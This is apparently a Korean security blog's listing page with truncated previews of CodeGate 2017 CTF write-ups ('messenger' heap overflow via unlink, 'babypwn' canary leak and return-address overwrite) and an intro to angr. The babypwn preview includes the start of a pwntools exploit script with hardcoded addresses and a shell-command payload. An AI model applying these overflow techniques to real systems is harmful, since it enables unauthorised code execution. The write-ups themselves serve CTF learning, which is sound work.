본문 바로가기

[CodeGate 2017 CTF] messenger 간략히 기능에 대해 설명하자면, LeaveMsg : 사용자에게 32byte 이내의 크기만큼 힙에 할당하고, 데이터를 입력받는다.(malloc) RemoveMsg : free() 함수 와 비슷하다고 보면 된다. ChangeMsg : Msg 를 수정할 수 있는데 이 때 크기를 검증하지 않아서 overflow 가 터진다. ViewMsg : 사용자에게 입력받은 데이터를 보여준다. 힙을 보면 size | fd | bk | data 와 같은 구조를 가지고 있다. LeaveMsg(2번) -> ChangeMsg -> ViewMsg 를 통해 Heap 주소를 릭 할 수 있다. RemoveMsg 에서 sub_400b2d() 함수로 가면 그 부분이 unlink 와 비슷한 기능을 하는 것을 알 수 있다. 따라서, ChangeM.. 더보기
[CodeGate 2017 CTF] babypwn 취약점이 존재하는 부분이다. babypwn 이기에 어렵지 않다. 먼저 canary leak 을 통해 canary 값을 알아낸 후, Message 입력을 통해 canary 값과 payload를 위치에 맞게 넣어 overflow 를 일으키면 RET 주소를 control 할 수 있다. # exploit.py from pwn import * binary = ELF('./babypwn') p = remote('110.10.212.130', 8889) canary = 0xd39b6e00 ppppr = 0x08048eec bss = 0x0804b1b4 system_libc = 0xf75af190 shell = "cat flag>&4\00" payload = 'A'*40 + p32(canary) + 'A'*12 pay.. 더보기
angr angr 은 binary analysis framework 로 Shellphish 팀에서 만들었다. 자세한 기능은 잘 알지 못하지만, symbolic excution을 가능하게 해주어 CTF 할 때 편리하다.. 엄청.. symbolic excution 은 특정 값이 아닌 문자로 변환하여 프로그램을 구동시키는 방식을 의미한다. ex ) x + y = 5, x - y = 3 https://github.com/angr/ 위의 github 에 들어가면 설치 방법이나 사용 방법에 대해 알 수 있다. 위의 사이트나 다른 블로그를 참조해서 설치하려 했지만 여러가지 오류로 인해서 미친듯이 검색을 해서 힘들게 설치했다. 혹여나 환경을 맞춰주고 똑같이 진행했음에도 오류가 되는 분들은 아래 명령어를 따라해보시길.. # pi.. 더보기